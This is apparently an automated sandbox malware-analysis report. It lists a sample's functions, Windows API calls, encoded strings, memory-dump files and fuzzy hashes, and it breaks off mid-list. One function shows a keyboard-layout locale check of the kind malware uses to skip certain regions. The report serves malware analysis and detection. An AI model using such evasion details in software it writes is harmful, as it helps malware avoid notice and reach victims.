Instruction Fuzzy Hash: 5FB1D2B16002189BDB28DF28CC84BAEBBB5EF45304F5081ADF509972D2DB749AC0CF95

Function 00176020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0017617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00176271

Strings

00000422, xrefs: 001760C9
00000419, xrefs: 00176098
Keyboard Layout\Preload, xrefs: 00176054
0000043f, xrefs: 0017612B
00000423, xrefs: 001760FA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: b3a8e319c88a76ca35bfecee6d59bd871d1e8a35f4b2fa5907ac968d57527c58
Instruction ID: 195b13d473685ea1c75b8439c25d12902a56fa4ca52f44da40e55e376a2cef80
Opcode Fuzzy Hash: b3a8e319c88a76ca35bfecee6d59bd871d1e8a35f4b2fa5907ac968d57527c58
Instruction Fuzzy Hash: 22B1BF719002689BDB24DB64CC89BEEB779AF14340F5442D8E508E72D1DB749FE88F94

Function 00177D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00177ED3

Strings

JjssPV==, xrefs: 001781E2
JjsrPl==, xrefs: 0017828A
JjsrQV==, xrefs: 00178092
JjssOl==, xrefs: 0017813A

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: f97f5fd6196815d5eaa2a0b034bf9c99001860999736a777a08873be0416e28b
Instruction ID: 621a579de424497631b35ce3b747f3ef91b0156852bd9d10c37f530f666f567f
Opcode Fuzzy Hash: f97f5fd6196815d5eaa2a0b034bf9c99001860999736a777a08873be0416e28b
Instruction Fuzzy Hash: CEE13D70F0125497DB19BB28CD5B3AD7772AB51724FA4829DE429673C2DB748F808BC2

Function 001B1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B1775: CreateFileW.KERNEL32(00000000,00000000,?,001B1B65,?,?,00000000,?,001B1B65,00000000,0000000C), ref: 001B1792

__dosmaperr.LIBCMT ref: 001B1BD7
GetFileType.KERNEL32(00000000), ref: 001B1BE3
__dosmaperr.LIBCMT ref: 001B1BF6
__dosmaperr.LIBCMT ref: 001B1D9C

Strings

H, xrefs: 001B1D21

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: db1a909e6db15d44dd6419c6a38c1f1a8494724436fad277a837e329fc16f23a
Instruction ID: 090396f57c6f63d5a8138389a2ec69c0ed6cf108f1a9203af198719f848e79fb
Opcode Fuzzy Hash: db1a909e6db15d44dd6419c6a38c1f1a8494724436fad277a837e329fc16f23a
Instruction Fuzzy Hash: 40A11632A04148AFCF19AF68DCA1BEE3BB1AB17320F664159F811AF2D1DB359D12C751

Function 001B26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,001C6758), ref: 001B275C

Strings

Eastern Standard Time, xrefs: 001B27CB
Eastern Summer Time, xrefs: 001B27FA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 8b9643e55589c3dd9266c9b4a241d993d0e39490fc2b46868f33fad6ecb004fc
Instruction ID: 73e74beb60ee7ba5acc4ea9b40a64bca031bad3d5396ebb7ed3d4b1956ba45fb
Opcode Fuzzy Hash: 8b9643e55589c3dd9266c9b4a241d993d0e39490fc2b46868f33fad6ecb004fc
Instruction Fuzzy Hash: AE512871901215ABDB10EFA9CC819EE77FCEF65310F10026AE510E32A1EB309E89CB90

Function 00177590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,5D7CF112,?,00000000,001B9138,000000FF), ref: 001775CC
CreateThread.KERNEL32(00000000,00000000,00177430,001D8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001776BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001776C9

Part of subcall function 0018D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0018D17B

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: b14a42a9cc3df4373969bc29ce0c9ada48a0eda0cfe170ef850f44de4f826db0
Instruction ID: 96c99f42f1b7aefecb1af75d09ac68f54f74a9e1b1a8cc033234b30641bb2c05
Opcode Fuzzy Hash: b14a42a9cc3df4373969bc29ce0c9ada48a0eda0cfe170ef850f44de4f826db0
Instruction Fuzzy Hash: E951F370202244ABEB18DF28DC89F9C3BB2EB15324F50861AF809977D1DB79E580CF51

Function 001A6FB4 Relevance: 4.6, APIs: 3, Instructions: 145COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,001A6EE6), ref: 001A6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 001A7030
__dosmaperr.LIBCMT ref: 001A70C5

Part of subcall function 001A732A: __dosmaperr.LIBCMT ref: 001A735F

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
